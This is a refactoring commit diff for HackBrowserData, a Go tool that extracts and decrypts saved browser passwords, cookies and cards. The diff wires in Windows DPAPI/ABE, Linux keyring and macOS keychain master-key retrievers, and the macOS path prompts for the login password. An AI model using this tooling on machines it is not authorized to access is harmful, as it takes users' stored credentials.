refactor: extract master-key code into masterkey package (#604)

This commit is contained in:
Roger
2026-06-01 16:08:32 +08:00
committed by GitHub
parent b901f7dff0
commit c444314832
50 changed files with 449 additions and 580 deletions
+10 -3
View File
@@ -79,15 +79,21 @@ linters:
funlen: funlen:
lines: -1 lines: -1
statements: 50 statements: 50
# goconst kept deliberately lenient (above the default min-occurrences: 3) — short, repeated
# literals like test fixtures and scheme strings aren't worth extracting into named constants.
goconst: goconst:
min-len: 2 min-len: 5
min-occurrences: 3 min-occurrences: 5
ignore-string-values: ignore-string-values:
- "all" - "all"
- "csv" - "csv"
- "json" - "json"
- "https" - "https"
- "http" - "http"
# browser registry keys/names — declarative table, not worth constants
- "chrome"
- "Chrome"
- "firefox"
gocritic: gocritic:
enabled-tags: enabled-tags:
- diagnostic - diagnostic
@@ -164,6 +170,7 @@ linters:
- gosec - gosec
- errcheck - errcheck
- lll - lll
- goconst
- source: "defer" - source: "defer"
linters: linters:
- errcheck - errcheck
@@ -173,7 +180,7 @@ linters:
- path: "cmd/hack-browser-data/main.go" - path: "cmd/hack-browser-data/main.go"
linters: linters:
- lll - lll
- path: "crypto/keyretriever/gcoredump_darwin.go" - path: "masterkey/gcoredump_darwin.go"
linters: linters:
- gocognit - gocognit
+1 -1
View File
@@ -63,7 +63,7 @@ make payload-clean # rm crypto/*.bin
- **Error handling**: `fmt.Errorf("context: %w", err)` for wrapping, never `_ =` to ignore errors - **Error handling**: `fmt.Errorf("context: %w", err)` for wrapping, never `_ =` to ignore errors
- **Logging**: `log.Debugf` for record-level diagnostics, `log.Infof` for user-facing progress/status, `log.Warnf` for unexpected conditions. Extract methods should return errors, not log them. - **Logging**: `log.Debugf` for record-level diagnostics, `log.Infof` for user-facing progress/status, `log.Warnf` for unexpected conditions. Extract methods should return errors, not log them.
- **Naming**: follow Go conventions — `Config` not `BrowserConfig`, `Extract` not `BrowsingData` - **Naming**: follow Go conventions — `Config` not `BrowserConfig`, `Extract` not `BrowsingData`
- **Comment width**: wrap comments at 120 columns (matches `.golangci.yml` `lll.line-length`) - **Comment width**: wrap comments at 140 columns (matches `.golangci.yml` `lll.line-length`)
- **Tests**: use `t.TempDir()` for filesystem tests, `go-sqlmock` for database tests - **Tests**: use `t.TempDir()` for filesystem tests, `go-sqlmock` for database tests
- **Architecture**: see `rfcs/` for design documents - **Architecture**: see `rfcs/` for design documents
+21 -57
View File
@@ -9,14 +9,12 @@ import (
"github.com/moond4rk/hackbrowserdata/browser/chromium" "github.com/moond4rk/hackbrowserdata/browser/chromium"
"github.com/moond4rk/hackbrowserdata/browser/firefox" "github.com/moond4rk/hackbrowserdata/browser/firefox"
"github.com/moond4rk/hackbrowserdata/browser/safari" "github.com/moond4rk/hackbrowserdata/browser/safari"
"github.com/moond4rk/hackbrowserdata/crypto/keyretriever"
"github.com/moond4rk/hackbrowserdata/log" "github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/masterkey"
"github.com/moond4rk/hackbrowserdata/types" "github.com/moond4rk/hackbrowserdata/types"
) )
// Browser is one installation: a single resolved UserDataDir that holds its // Browser is one installation: a UserDataDir holding profiles that (for Chromium) share one master key.
// profiles and, for Chromium, owns the master key shared across them. It is
// implemented by chromium.Browser, firefox.Browser, and safari.Browser.
type Browser interface { type Browser interface {
BrowserName() string BrowserName() string
UserDataDir() string UserDataDir() string
@@ -25,31 +23,18 @@ type Browser interface {
CountEntries(categories []types.Category) ([]types.CountResult, error) CountEntries(categories []types.Category) ([]types.CountResult, error)
} }
// PickOptions configures which browsers to pick. type DiscoverOptions struct {
type PickOptions struct { Name string // "all"|"chrome"|"firefox"|...
Name string // browser name filter: "all"|"chrome"|"firefox"|... ProfilePath string // custom profile dir override
ProfilePath string // custom profile directory override
KeychainPassword string // macOS only — see browser_darwin.go KeychainPassword string // macOS only — see browser_darwin.go
} }
// browserInjector wires decryption credentials (key retrievers and, on macOS, // browserInjector injects decryption credentials into a Browser; built per-platform by newCredentialInjector.
// the Keychain password) into a discovered Browser. Its construction is
// platform-specific; see newCredentialInjector in browser_{darwin,linux,windows}.go.
type browserInjector func(Browser) type browserInjector func(Browser)
// DiscoverBrowsersWithKeys returns installations that are fully wired up for Extract: the // DiscoverBrowsersWithKeys is DiscoverBrowsers plus credential injection, so the returned installations are ready for Extract.
// key retriever chain and (on macOS) the Keychain password are already // On macOS it may prompt for the login password — metadata-only callers should use DiscoverBrowsers to avoid the prompt.
// injected, so the caller can call b.Extract directly. This is the entry func DiscoverBrowsersWithKeys(opts DiscoverOptions) ([]Browser, error) {
// point for extraction workflows like `dump`.
//
// On macOS this may trigger an interactive prompt for the login password
// when the target set includes a Chromium variant or Safari. Commands that
// only need metadata (name, profile path, per-category counts) should use
// DiscoverBrowsers instead to skip injection — and thereby the prompt.
//
// When Name is "all", all known browsers are tried. ProfilePath overrides
// the default user data directory (only when targeting a specific browser).
func DiscoverBrowsersWithKeys(opts PickOptions) ([]Browser, error) {
browsers, err := DiscoverBrowsers(opts) browsers, err := DiscoverBrowsers(opts)
if err != nil { if err != nil {
return nil, err return nil, err
@@ -61,24 +46,14 @@ func DiscoverBrowsersWithKeys(opts PickOptions) ([]Browser, error) {
return browsers, nil return browsers, nil
} }
// DiscoverBrowsers returns installations for metadata-only workflows — listing, // DiscoverBrowsers skips credential injection: metadata (Profiles, CountEntries) works, Extract won't decrypt protected data,
// profile paths, per-category counts. Decryption dependencies are NOT // and macOS never prompts. Use it for list-style commands.
// injected, so calling b.Extract on the returned browsers will not func DiscoverBrowsers(opts DiscoverOptions) ([]Browser, error) {
// successfully decrypt protected data (passwords, cookies, credit cards). return discoverFromConfigs(platformBrowsers(), opts)
// CountEntries, BrowserName, and Profiles all work correctly without injection.
//
// Unlike DiscoverBrowsersWithKeys, DiscoverBrowsers never prompts for the macOS
// Keychain password, making it the correct choice for `list`-style
// commands that have no use for the credential.
func DiscoverBrowsers(opts PickOptions) ([]Browser, error) {
return pickFromConfigs(platformBrowsers(), opts)
} }
// pickFromConfigs is the testable core of DiscoverBrowsers: it filters the // discoverFromConfigs is the testable core of DiscoverBrowsers; it deliberately does no credential injection.
// platform browser list and discovers each matching installation (one Browser func discoverFromConfigs(configs []types.BrowserConfig, opts DiscoverOptions) ([]Browser, error) {
// per UserDataDir, holding its profiles). Dependency injection (key retrievers,
// keychain credentials) is intentionally NOT done here.
func pickFromConfigs(configs []types.BrowserConfig, opts PickOptions) ([]Browser, error) {
name := strings.ToLower(opts.Name) name := strings.ToLower(opts.Name)
if name == "" { if name == "" {
name = "all" name = "all"
@@ -92,7 +67,6 @@ func pickFromConfigs(configs []types.BrowserConfig, opts PickOptions) ([]Browser
continue continue
} }
// Override profile directory when targeting a specific browser.
if opts.ProfilePath != "" && name != "all" { if opts.ProfilePath != "" && name != "all" {
if cfg.Kind == types.Firefox { if cfg.Kind == types.Firefox {
cfg.UserDataDir = filepath.Dir(filepath.Clean(opts.ProfilePath)) cfg.UserDataDir = filepath.Dir(filepath.Clean(opts.ProfilePath))
@@ -116,10 +90,10 @@ func pickFromConfigs(configs []types.BrowserConfig, opts PickOptions) ([]Browser
return browsers, nil return browsers, nil
} }
// KeyManager is implemented by installations that accept externally-provided master-key retrievers (Chromium family only). // KeyManager is implemented by installations accepting external master-key retrievers (Chromium only).
type KeyManager interface { type KeyManager interface {
SetKeyRetrievers(keyretriever.Retrievers) SetRetrievers(masterkey.Retrievers)
ExportKeys() (keyretriever.MasterKeys, error) ExportKeys() (masterkey.MasterKeys, error)
} }
// KeychainPasswordReceiver is implemented by installations that need the macOS login password (Safari only). // KeychainPasswordReceiver is implemented by installations that need the macOS login password (Safari only).
@@ -127,17 +101,8 @@ type KeychainPasswordReceiver interface {
SetKeychainPassword(string) SetKeychainPassword(string)
} }
// resolveGlobs expands glob patterns in browser configs' UserDataDir. // resolveGlobs expands UserDataDir glob patterns for Windows MSIX/UWP browsers whose package dirs carry a dynamic
// This supports MSIX/UWP browsers on Windows whose package directories // publisher-hash suffix (e.g. "TheBrowserCompany.Arc_*"). A glob matching N dirs yields N configs.
// contain a dynamic publisher hash suffix (e.g., "TheBrowserCompany.Arc_*").
//
// For literal paths (no glob metacharacters), Glob returns the path itself
// when it exists, so the config passes through unchanged. When a path does
// not exist and contains no metacharacters, Glob returns nil and the
// original config is preserved — the main loop handles "not found" as usual.
//
// When a glob matches multiple directories, the config is duplicated so
// each resolved path is treated as a separate browser data directory.
func resolveGlobs(configs []types.BrowserConfig) []types.BrowserConfig { func resolveGlobs(configs []types.BrowserConfig) []types.BrowserConfig {
var out []types.BrowserConfig var out []types.BrowserConfig
for _, cfg := range configs { for _, cfg := range configs {
@@ -155,8 +120,7 @@ func resolveGlobs(configs []types.BrowserConfig) []types.BrowserConfig {
return out return out
} }
// newBrowser dispatches to the correct engine based on BrowserKind and returns // newBrowser dispatches on BrowserKind, returning a nil Browser when no profile is found.
// one installation, or a nil Browser when no profile was found.
func newBrowser(cfg types.BrowserConfig) (Browser, error) { func newBrowser(cfg types.BrowserConfig) (Browser, error) {
switch cfg.Kind { switch cfg.Kind {
case types.Chromium, types.ChromiumYandex, types.ChromiumOpera: case types.Chromium, types.ChromiumYandex, types.ChromiumOpera:
+7 -16
View File
@@ -9,8 +9,8 @@ import (
"github.com/moond4rk/keychainbreaker" "github.com/moond4rk/keychainbreaker"
"golang.org/x/term" "golang.org/x/term"
"github.com/moond4rk/hackbrowserdata/crypto/keyretriever"
"github.com/moond4rk/hackbrowserdata/log" "github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/masterkey"
"github.com/moond4rk/hackbrowserdata/types" "github.com/moond4rk/hackbrowserdata/types"
) )
@@ -108,13 +108,8 @@ func platformBrowsers() []types.BrowserConfig {
} }
} }
// resolveKeychainPassword returns the keychain password for macOS. // resolveKeychainPassword resolves the macOS login password (CLI flag, else TTY prompt) and verifies it against
// If not provided via CLI flag, it prompts interactively when stdin is a TTY. // keychainbreaker. On any failure it returns "" so callers fall back to no-password mode rather than a known-bad credential.
// After obtaining the password, it verifies against keychainbreaker; on any
// failure it returns "" so downstream code enters "no password" mode rather
// than propagating a known-bad credential. Safari then exports
// keychain-protected entries as metadata-only via keychainbreaker's partial
// extraction mode; Chromium falls back to SecurityCmdRetriever.
func resolveKeychainPassword(flagPassword string) string { func resolveKeychainPassword(flagPassword string) string {
password := flagPassword password := flagPassword
if password == "" { if password == "" {
@@ -137,10 +132,6 @@ func resolveKeychainPassword(flagPassword string) string {
return "" return ""
} }
// Verify early: try to unlock keychain with keychainbreaker. On failure
// return "" so KeychainPasswordRetriever and Safari both skip the credential
// and rely on their respective fallback paths (SecurityCmdRetriever for
// Chromium, metadata-only export for Safari).
kc, err := keychainbreaker.Open() kc, err := keychainbreaker.Open()
if err != nil { if err != nil {
log.Warnf("keychain open failed: %v; keychain-protected data will be exported as metadata only", err) log.Warnf("keychain open failed: %v; keychain-protected data will be exported as metadata only", err)
@@ -157,10 +148,10 @@ func resolveKeychainPassword(flagPassword string) string {
// newCredentialInjector lazily wires retrievers (and the macOS keychain password) into each Browser; // newCredentialInjector lazily wires retrievers (and the macOS keychain password) into each Browser;
// `-b firefox` never triggers a keychain prompt because lazy resolution skips browsers that need neither. // `-b firefox` never triggers a keychain prompt because lazy resolution skips browsers that need neither.
func newCredentialInjector(opts PickOptions) browserInjector { func newCredentialInjector(opts DiscoverOptions) browserInjector {
var ( var (
password string password string
retrievers keyretriever.Retrievers retrievers masterkey.Retrievers
resolved bool resolved bool
) )
return func(b Browser) { return func(b Browser) {
@@ -171,11 +162,11 @@ func newCredentialInjector(opts PickOptions) browserInjector {
} }
if !resolved { if !resolved {
password = resolveKeychainPassword(opts.KeychainPassword) password = resolveKeychainPassword(opts.KeychainPassword)
retrievers = keyretriever.DefaultRetrievers(password) retrievers = masterkey.DefaultRetrievers(password)
resolved = true resolved = true
} }
if needsRetrievers { if needsRetrievers {
km.SetKeyRetrievers(retrievers) km.SetRetrievers(retrievers)
} }
if needsKeychainPassword { if needsKeychainPassword {
kps.SetKeychainPassword(password) kps.SetKeychainPassword(password)
+6 -9
View File
@@ -3,7 +3,7 @@
package browser package browser
import ( import (
"github.com/moond4rk/hackbrowserdata/crypto/keyretriever" "github.com/moond4rk/hackbrowserdata/masterkey"
"github.com/moond4rk/hackbrowserdata/types" "github.com/moond4rk/hackbrowserdata/types"
) )
@@ -67,16 +67,13 @@ func platformBrowsers() []types.BrowserConfig {
} }
} }
// newCredentialInjector returns a closure that wires the Linux Chromium master-key retrievers into // newCredentialInjector wires the Linux Chromium retrievers: V10 ("peanuts" hardcoded) and V11 (D-Bus Secret Service),
// each Browser. Linux has two tiers: V10 uses the "peanuts" hardcoded password (kV10Key); V11 // run independently for mixed-cipher profiles. V20 is nil — App-Bound Encryption is Windows-only.
// uses the D-Bus Secret Service keyring (kV11Key). V20 is nil — App-Bound Encryption is Windows- func newCredentialInjector(_ DiscoverOptions) browserInjector {
// only. Both V10 and V11 run independently so a profile carrying mixed cipher prefixes decrypts retrievers := masterkey.DefaultRetrievers()
// both tiers.
func newCredentialInjector(_ PickOptions) browserInjector {
retrievers := keyretriever.DefaultRetrievers()
return func(b Browser) { return func(b Browser) {
if km, ok := b.(KeyManager); ok { if km, ok := b.(KeyManager); ok {
km.SetKeyRetrievers(retrievers) km.SetRetrievers(retrievers)
} }
} }
} }
+18 -18
View File
@@ -28,7 +28,7 @@ func TestListBrowsers(t *testing.T) {
type pickTest struct { type pickTest struct {
name string name string
configs []types.BrowserConfig configs []types.BrowserConfig
opts PickOptions opts DiscoverOptions
wantNames []string wantNames []string
wantProfiles []string wantProfiles []string
} }
@@ -37,7 +37,7 @@ func runPickTests(t *testing.T, tests []pickTest) {
t.Helper() t.Helper()
for _, tt := range tests { for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) { t.Run(tt.name, func(t *testing.T) {
browsers, err := pickFromConfigs(tt.configs, tt.opts) browsers, err := discoverFromConfigs(tt.configs, tt.opts)
require.NoError(t, err) require.NoError(t, err)
assertBrowsers(t, browsers, tt.wantNames, tt.wantProfiles) assertBrowsers(t, browsers, tt.wantNames, tt.wantProfiles)
}) })
@@ -90,28 +90,28 @@ func TestPickFromConfigs(t *testing.T) {
{ {
name: "exact match", name: "exact match",
configs: nameFilterConfigs, configs: nameFilterConfigs,
opts: PickOptions{Name: "chrome"}, opts: DiscoverOptions{Name: "chrome"},
wantNames: []string{"Chrome"}, wantNames: []string{"Chrome"},
wantProfiles: []string{"Default"}, wantProfiles: []string{"Default"},
}, },
{ {
name: "case insensitive", name: "case insensitive",
configs: nameFilterConfigs, configs: nameFilterConfigs,
opts: PickOptions{Name: "Chrome"}, opts: DiscoverOptions{Name: "Chrome"},
wantNames: []string{"Chrome"}, wantNames: []string{"Chrome"},
wantProfiles: []string{"Default"}, wantProfiles: []string{"Default"},
}, },
{ {
name: "all returns both", name: "all returns both",
configs: nameFilterConfigs, configs: nameFilterConfigs,
opts: PickOptions{Name: "all"}, opts: DiscoverOptions{Name: "all"},
wantNames: []string{"Chrome", "Edge"}, wantNames: []string{"Chrome", "Edge"},
wantProfiles: []string{"Default", "Default"}, wantProfiles: []string{"Default", "Default"},
}, },
{ {
name: "unknown returns empty", name: "unknown returns empty",
configs: nameFilterConfigs, configs: nameFilterConfigs,
opts: PickOptions{Name: "safari"}, opts: DiscoverOptions{Name: "safari"},
}, },
}) })
}) })
@@ -123,7 +123,7 @@ func TestPickFromConfigs(t *testing.T) {
configs: []types.BrowserConfig{ configs: []types.BrowserConfig{
{Key: "chrome", Name: "Chrome", Kind: types.Chromium, UserDataDir: chromeDir}, {Key: "chrome", Name: "Chrome", Kind: types.Chromium, UserDataDir: chromeDir},
}, },
opts: PickOptions{Name: "all"}, opts: DiscoverOptions{Name: "all"},
wantNames: []string{"Chrome", "Chrome"}, wantNames: []string{"Chrome", "Chrome"},
wantProfiles: []string{"Default", "Profile 1"}, wantProfiles: []string{"Default", "Profile 1"},
}, },
@@ -132,7 +132,7 @@ func TestPickFromConfigs(t *testing.T) {
configs: []types.BrowserConfig{ configs: []types.BrowserConfig{
{Key: "firefox", Name: "Firefox", Kind: types.Firefox, UserDataDir: firefoxDir}, {Key: "firefox", Name: "Firefox", Kind: types.Firefox, UserDataDir: firefoxDir},
}, },
opts: PickOptions{Name: "all"}, opts: DiscoverOptions{Name: "all"},
wantNames: []string{"Firefox"}, wantNames: []string{"Firefox"},
wantProfiles: []string{"abc123.default-release"}, wantProfiles: []string{"abc123.default-release"},
}, },
@@ -141,7 +141,7 @@ func TestPickFromConfigs(t *testing.T) {
configs: []types.BrowserConfig{ configs: []types.BrowserConfig{
{Key: "yandex", Name: "Yandex", Kind: types.ChromiumYandex, UserDataDir: yandexDir}, {Key: "yandex", Name: "Yandex", Kind: types.ChromiumYandex, UserDataDir: yandexDir},
}, },
opts: PickOptions{Name: "all"}, opts: DiscoverOptions{Name: "all"},
wantNames: []string{"Yandex"}, wantNames: []string{"Yandex"},
wantProfiles: []string{"Default"}, wantProfiles: []string{"Default"},
}, },
@@ -150,7 +150,7 @@ func TestPickFromConfigs(t *testing.T) {
configs: []types.BrowserConfig{ configs: []types.BrowserConfig{
{Key: "chrome", Name: "Chrome", Kind: types.Chromium, UserDataDir: "/nonexistent"}, {Key: "chrome", Name: "Chrome", Kind: types.Chromium, UserDataDir: "/nonexistent"},
}, },
opts: PickOptions{Name: "all"}, opts: DiscoverOptions{Name: "all"},
}, },
}) })
}) })
@@ -162,7 +162,7 @@ func TestPickFromConfigs(t *testing.T) {
configs: []types.BrowserConfig{ configs: []types.BrowserConfig{
{Key: "chrome", Name: "Chrome", Kind: types.Chromium, UserDataDir: "/wrong"}, {Key: "chrome", Name: "Chrome", Kind: types.Chromium, UserDataDir: "/wrong"},
}, },
opts: PickOptions{Name: "chrome", ProfilePath: filepath.Join(chromeDir, "Default")}, opts: DiscoverOptions{Name: "chrome", ProfilePath: filepath.Join(chromeDir, "Default")},
wantNames: []string{"Chrome"}, wantNames: []string{"Chrome"},
wantProfiles: []string{"Default"}, wantProfiles: []string{"Default"},
}, },
@@ -171,7 +171,7 @@ func TestPickFromConfigs(t *testing.T) {
configs: []types.BrowserConfig{ configs: []types.BrowserConfig{
{Key: "firefox", Name: "Firefox", Kind: types.Firefox, UserDataDir: "/wrong"}, {Key: "firefox", Name: "Firefox", Kind: types.Firefox, UserDataDir: "/wrong"},
}, },
opts: PickOptions{Name: "firefox", ProfilePath: filepath.Join(firefoxDir, "abc123.default-release")}, opts: DiscoverOptions{Name: "firefox", ProfilePath: filepath.Join(firefoxDir, "abc123.default-release")},
wantNames: []string{"Firefox"}, wantNames: []string{"Firefox"},
wantProfiles: []string{"abc123.default-release"}, wantProfiles: []string{"abc123.default-release"},
}, },
@@ -180,7 +180,7 @@ func TestPickFromConfigs(t *testing.T) {
configs: []types.BrowserConfig{ configs: []types.BrowserConfig{
{Key: "chrome", Name: "Chrome", Kind: types.Chromium, UserDataDir: chromeDir}, {Key: "chrome", Name: "Chrome", Kind: types.Chromium, UserDataDir: chromeDir},
}, },
opts: PickOptions{Name: "all", ProfilePath: "/some/override"}, opts: DiscoverOptions{Name: "all", ProfilePath: "/some/override"},
wantNames: []string{"Chrome", "Chrome"}, wantNames: []string{"Chrome", "Chrome"},
wantProfiles: []string{"Default", "Profile 1"}, wantProfiles: []string{"Default", "Profile 1"},
}, },
@@ -194,7 +194,7 @@ func TestPickFromConfigs(t *testing.T) {
configs: []types.BrowserConfig{ configs: []types.BrowserConfig{
{Key: "solo", Name: "Solo", Kind: types.Chromium, UserDataDir: filepath.Join(globBase, "Solo.Browser_*", "UserData")}, {Key: "solo", Name: "Solo", Kind: types.Chromium, UserDataDir: filepath.Join(globBase, "Solo.Browser_*", "UserData")},
}, },
opts: PickOptions{Name: "all"}, opts: DiscoverOptions{Name: "all"},
wantNames: []string{"Solo"}, wantNames: []string{"Solo"},
wantProfiles: []string{"Default"}, wantProfiles: []string{"Default"},
}, },
@@ -203,7 +203,7 @@ func TestPickFromConfigs(t *testing.T) {
configs: []types.BrowserConfig{ configs: []types.BrowserConfig{
{Key: "arc", Name: "Arc", Kind: types.Chromium, UserDataDir: filepath.Join(globBase, "App.Browser_*", "UserData")}, {Key: "arc", Name: "Arc", Kind: types.Chromium, UserDataDir: filepath.Join(globBase, "App.Browser_*", "UserData")},
}, },
opts: PickOptions{Name: "all"}, opts: DiscoverOptions{Name: "all"},
wantNames: []string{"Arc", "Arc"}, wantNames: []string{"Arc", "Arc"},
wantProfiles: []string{"Default", "Default"}, wantProfiles: []string{"Default", "Default"},
}, },
@@ -212,7 +212,7 @@ func TestPickFromConfigs(t *testing.T) {
configs: []types.BrowserConfig{ configs: []types.BrowserConfig{
{Key: "missing", Name: "Missing", Kind: types.Chromium, UserDataDir: filepath.Join(globBase, "NoSuch_*", "UserData")}, {Key: "missing", Name: "Missing", Kind: types.Chromium, UserDataDir: filepath.Join(globBase, "NoSuch_*", "UserData")},
}, },
opts: PickOptions{Name: "all"}, opts: DiscoverOptions{Name: "all"},
}, },
{ {
name: "mixed with literal", name: "mixed with literal",
@@ -220,7 +220,7 @@ func TestPickFromConfigs(t *testing.T) {
{Key: "chrome", Name: "Chrome", Kind: types.Chromium, UserDataDir: singleDir}, {Key: "chrome", Name: "Chrome", Kind: types.Chromium, UserDataDir: singleDir},
{Key: "arc", Name: "Arc", Kind: types.Chromium, UserDataDir: filepath.Join(globBase, "Solo.Browser_*", "UserData")}, {Key: "arc", Name: "Arc", Kind: types.Chromium, UserDataDir: filepath.Join(globBase, "Solo.Browser_*", "UserData")},
}, },
opts: PickOptions{Name: "all"}, opts: DiscoverOptions{Name: "all"},
wantNames: []string{"Arc", "Chrome"}, wantNames: []string{"Arc", "Chrome"},
wantProfiles: []string{"Default", "Default"}, wantProfiles: []string{"Default", "Default"},
}, },
@@ -230,7 +230,7 @@ func TestPickFromConfigs(t *testing.T) {
{Key: "chrome", Name: "Chrome", Kind: types.Chromium, UserDataDir: singleDir}, {Key: "chrome", Name: "Chrome", Kind: types.Chromium, UserDataDir: singleDir},
{Key: "arc", Name: "Arc", Kind: types.Chromium, UserDataDir: filepath.Join(globBase, "App.Browser_*", "UserData")}, {Key: "arc", Name: "Arc", Kind: types.Chromium, UserDataDir: filepath.Join(globBase, "App.Browser_*", "UserData")},
}, },
opts: PickOptions{Name: "arc"}, opts: DiscoverOptions{Name: "arc"},
wantNames: []string{"Arc", "Arc"}, wantNames: []string{"Arc", "Arc"},
wantProfiles: []string{"Default", "Default"}, wantProfiles: []string{"Default", "Default"},
}, },
+6 -8
View File
@@ -3,7 +3,7 @@
package browser package browser
import ( import (
"github.com/moond4rk/hackbrowserdata/crypto/keyretriever" "github.com/moond4rk/hackbrowserdata/masterkey"
"github.com/moond4rk/hackbrowserdata/types" "github.com/moond4rk/hackbrowserdata/types"
) )
@@ -125,15 +125,13 @@ func platformBrowsers() []types.BrowserConfig {
} }
} }
// newCredentialInjector returns a closure that wires the Windows v10 (DPAPI) and v20 (ABE) Chromium // newCredentialInjector wires the Windows Chromium retrievers: v10 (DPAPI) and v20 (ABE). The two tiers are orthogonal
// master-key retrievers into each Browser. Per issue #578 the two tiers are orthogonal — a single // — a pre-127-upgraded profile carries v20 cookies alongside v10 passwords — so both run independently, not as a chain.
// Chrome profile upgraded from pre-127 carries v20 cookies alongside v10 passwords — so both func newCredentialInjector(_ DiscoverOptions) browserInjector {
// retrievers run independently rather than as a first-success chain. retrievers := masterkey.DefaultRetrievers()
func newCredentialInjector(_ PickOptions) browserInjector {
retrievers := keyretriever.DefaultRetrievers()
return func(b Browser) { return func(b Browser) {
if km, ok := b.(KeyManager); ok { if km, ok := b.(KeyManager); ok {
km.SetKeyRetrievers(retrievers) km.SetRetrievers(retrievers)
} }
} }
} }
+23 -29
View File
@@ -6,9 +6,9 @@ import (
"sync" "sync"
"time" "time"
"github.com/moond4rk/hackbrowserdata/crypto/keyretriever"
"github.com/moond4rk/hackbrowserdata/filemanager" "github.com/moond4rk/hackbrowserdata/filemanager"
"github.com/moond4rk/hackbrowserdata/log" "github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/masterkey"
"github.com/moond4rk/hackbrowserdata/types" "github.com/moond4rk/hackbrowserdata/types"
"github.com/moond4rk/hackbrowserdata/utils/fileutil" "github.com/moond4rk/hackbrowserdata/utils/fileutil"
) )
@@ -17,16 +17,15 @@ import (
// that share a master key. The key is derived once and reused across profiles. // that share a master key. The key is derived once and reused across profiles.
type Browser struct { type Browser struct {
cfg types.BrowserConfig cfg types.BrowserConfig
retrievers keyretriever.Retrievers retrievers masterkey.Retrievers
profiles []*profile profiles []*profile
keysOnce sync.Once keysOnce sync.Once
keys keyretriever.MasterKeys keys masterkey.MasterKeys
} }
// NewBrowser discovers the Chromium profiles under cfg.UserDataDir and returns // NewBrowser discovers the profiles under cfg.UserDataDir, or returns nil if none resolve.
// the installation, or nil if no profile with resolvable sources exists. Call // Call SetRetrievers before Extract to enable decryption.
// SetKeyRetrievers before Extract to enable decryption of sensitive data.
func NewBrowser(cfg types.BrowserConfig) (*Browser, error) { func NewBrowser(cfg types.BrowserConfig) (*Browser, error) {
sources := sourcesForKind(cfg.Kind) sources := sourcesForKind(cfg.Kind)
extractors := extractorsForKind(cfg.Kind) extractors := extractorsForKind(cfg.Kind)
@@ -51,9 +50,9 @@ func NewBrowser(cfg types.BrowserConfig) (*Browser, error) {
return &Browser{cfg: cfg, profiles: profiles}, nil return &Browser{cfg: cfg, profiles: profiles}, nil
} }
// SetKeyRetrievers wires the per-tier master-key retrievers (V10/V11/V20) used by // SetRetrievers wires the per-tier master-key retrievers (V10/V11/V20) used by
// Extract; unused tiers stay nil. // Extract; unused tiers stay nil.
func (b *Browser) SetKeyRetrievers(r keyretriever.Retrievers) { b.retrievers = r } func (b *Browser) SetRetrievers(r masterkey.Retrievers) { b.retrievers = r }
func (b *Browser) BrowserName() string { return b.cfg.Name } func (b *Browser) BrowserName() string { return b.cfg.Name }
func (b *Browser) UserDataDir() string { return b.cfg.UserDataDir } func (b *Browser) UserDataDir() string { return b.cfg.UserDataDir }
@@ -69,12 +68,12 @@ func (b *Browser) Profiles() []types.Profile {
// Extract derives the installation's master key once, then extracts every profile. // Extract derives the installation's master key once, then extracts every profile.
func (b *Browser) Extract(categories []types.Category) ([]types.ExtractResult, error) { func (b *Browser) Extract(categories []types.Category) ([]types.ExtractResult, error) {
keys := b.masterKeys() masterKeys := b.masterKeys()
results := make([]types.ExtractResult, 0, len(b.profiles)) results := make([]types.ExtractResult, 0, len(b.profiles))
for _, p := range b.profiles { for _, p := range b.profiles {
results = append(results, types.ExtractResult{ results = append(results, types.ExtractResult{
Profile: types.Profile{Name: p.name(), Dir: p.profileDir}, Profile: types.Profile{Name: p.name(), Dir: p.profileDir},
Data: p.extract(keys, categories), Data: p.extract(masterKeys, categories),
}) })
} }
return results, nil return results, nil
@@ -92,39 +91,34 @@ func (b *Browser) CountEntries(categories []types.Category) ([]types.CountResult
return results, nil return results, nil
} }
// ExportKeys derives the installation's master keys without extraction. Returns // ExportKeys derives the master keys without extracting. Returns the tiers that succeeded plus a
// whatever tiers succeeded plus a joined error describing any failed tiers; // joined error for those that failed — partial results matter (a v20-only failure keeps the v10 key).
// callers preserve partial results because a Chrome 127+ installation mixes func (b *Browser) ExportKeys() (masterkey.MasterKeys, error) {
// v10 + v20 ciphertexts and a v20-only failure must not erase a usable v10 key.
func (b *Browser) ExportKeys() (keyretriever.MasterKeys, error) {
session, err := filemanager.NewSession() session, err := filemanager.NewSession()
if err != nil { if err != nil {
return keyretriever.MasterKeys{}, err return masterkey.MasterKeys{}, err
} }
defer session.Cleanup() defer session.Cleanup()
return keyretriever.NewMasterKeys(b.retrievers, b.buildHints(session)) return masterkey.NewMasterKeys(b.retrievers, b.buildHints(session))
} }
// masterKeys derives the installation's keys exactly once and caches them. // masterKeys derives and caches the installation's keys exactly once (sync.Once), so a failure is
// Because derivation happens a single time per installation, a failure is warned // warned once — no cross-profile dedup state needed.
// exactly once — no cross-profile dedup state is needed. func (b *Browser) masterKeys() masterkey.MasterKeys {
func (b *Browser) masterKeys() keyretriever.MasterKeys {
b.keysOnce.Do(func() { b.keysOnce.Do(func() {
keys, err := b.ExportKeys() masterKeys, err := b.ExportKeys()
if err != nil { if err != nil {
log.Warnf("%s: master key retrieval: %v", b.BrowserName(), err) log.Warnf("%s: master key retrieval: %v", b.BrowserName(), err)
} }
b.keys = keys b.keys = masterKeys
}) })
return b.keys return b.keys
} }
// buildHints acquires Local State (into session.TempDir so Windows DPAPI/ABE // buildHints copies Local State into the session temp dir (so Windows DPAPI/ABE retrievers read it
// retrievers can read it from a path the process owns) and assembles per-tier // from a process-owned path) and assembles the Hints. Local State sits at the installation root.
// retriever hints. Local State lives at the installation root (cfg.UserDataDir) func (b *Browser) buildHints(session *filemanager.Session) masterkey.Hints {
// in both the multi-profile and flat (Opera) layouts.
func (b *Browser) buildHints(session *filemanager.Session) keyretriever.Hints {
var localStateDst string var localStateDst string
candidate := filepath.Join(b.cfg.UserDataDir, "Local State") candidate := filepath.Join(b.cfg.UserDataDir, "Local State")
if fileutil.FileExists(candidate) { if fileutil.FileExists(candidate) {
@@ -140,7 +134,7 @@ func (b *Browser) buildHints(session *filemanager.Session) keyretriever.Hints {
if b.cfg.WindowsABE { if b.cfg.WindowsABE {
abeKey = b.cfg.Key abeKey = b.cfg.Key
} }
return keyretriever.Hints{ return masterkey.Hints{
KeychainLabel: b.cfg.KeychainLabel, KeychainLabel: b.cfg.KeychainLabel,
WindowsABEKey: abeKey, WindowsABEKey: abeKey,
